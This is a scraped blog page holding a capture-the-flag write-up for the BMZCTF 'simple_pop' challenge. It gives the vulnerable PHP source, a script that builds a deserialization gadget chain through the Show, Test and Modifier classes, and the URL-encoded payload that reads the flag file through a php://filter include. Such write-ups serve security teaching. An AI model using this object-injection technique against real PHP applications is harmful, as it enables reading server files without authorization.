当前位置:网站首页>BMZCTF simple_ pop
BMZCTF simple_ pop
2022-07-03 04:15:00 【Listen to the snowflakes flying outside】
simple_pop
Open the topic to get the source code

This side is php The test site of pseudo agreement , Need to read useless.php

Decode to get the source code
<?php
class Modifier {
protected $var;
public function append($value){
include($value);//flag.php
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['password'])){
@unserialize($_GET['password']);
}
else{
$a=new Show;
}
?>
This pop The chain is through show Class toString To trigger test Class get Last call Modifier invoke To get flag
<?php
class Modifier
{
protected $var = 'php://filter/convert.base64_encode/resource=/flag';
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p;
}
$m = new Modifier();
$s = new Show();
$t = new Test();
$s -> source = $s;
$s -> str = $t;
$t -> p = $m;
echo urlencode(serialize($s));
structure payload
?password=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64_encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7D

Decode to get flag

边栏推荐
- Pdf editing tool movavi pdfchef 2022 direct download
- MySQL timestampdiff interval
- The 10th China Cloud Computing Conference · China Station: looking forward to the trend of science and technology in the next decade
- Xrandr modify resolution and refresh rate
- The latest activation free version of Omni toolbox
- Is pytorch difficult to learn? How to learn pytorch well?
- In Net 6 project using startup cs
- [Blue Bridge Road -- bug free code] interpretation of some codes of matrix keyboard
- Introduction to eth
- MySQL field userid comma separated save by userid query
猜你喜欢

有监督预训练!文本生成又一探索!

China Mobile Internet of things oneos and onenet were selected in the list of 2021 Internet of things demonstration projects

CVPR 2022 | 大连理工提出自校准照明框架,用于现实场景的微光图像增强

In Net 6 project using startup cs

Is pytorch open source?
![[brush questions] connected with rainwater (one dimension)](/img/21/318fcb444b17be887562f4a9c1fac2.png)
[brush questions] connected with rainwater (one dimension)

Wechat applet + Alibaba IOT platform + Hezhou air724ug build a serverless IOT system (III) -- wechat applet is directly connected to Alibaba IOT platform aliiot

The time has come for the domestic PC system to complete the closed loop and replace the American software and hardware system

Cnopendata China Customs Statistics

105. Detailed introduction of linkage effect realization of SAP ui5 master detail layout mode
随机推荐
Nodejs Foundation: shallow chat URL and querystring module
Basic types of data in TS
[set theory] ordered pair (ordered pair | ordered triple | ordered n ancestor)
MPLS setup experiment
Design and implementation of kubelet garbage collection mechanism to protect nodes from being preempted by containers image GC high threshold
When writing a web project, SmartUpload is used for file upload and new string () is used for transcoding, but in the database, there will still be random codes similar to poker
Deep dive kotlin synergy (20): build flow
[mathematical logic] predicate logic (predicate logic basic equivalent | eliminate quantifier equivalent | quantifier negative equivalent | quantifier scope contraction expansion equivalent | quantifi
Application of I2C protocol of STM32F103 (read and write EEPROM)
540. Single element in ordered array
The time has come for the domestic PC system to complete the closed loop and replace the American software and hardware system
Basic syntax of class
Appium自动化测试框架
105. Detailed introduction of linkage effect realization of SAP ui5 master detail layout mode
vim 的实用操作
Which code editor is easy to use? Code editing software recommendation
[brush questions] connected with rainwater (one dimension)
How does the pytorch project run?
Interface in TS
Mila、渥太华大学 | 用SE(3)不变去噪距离匹配进行分子几何预训练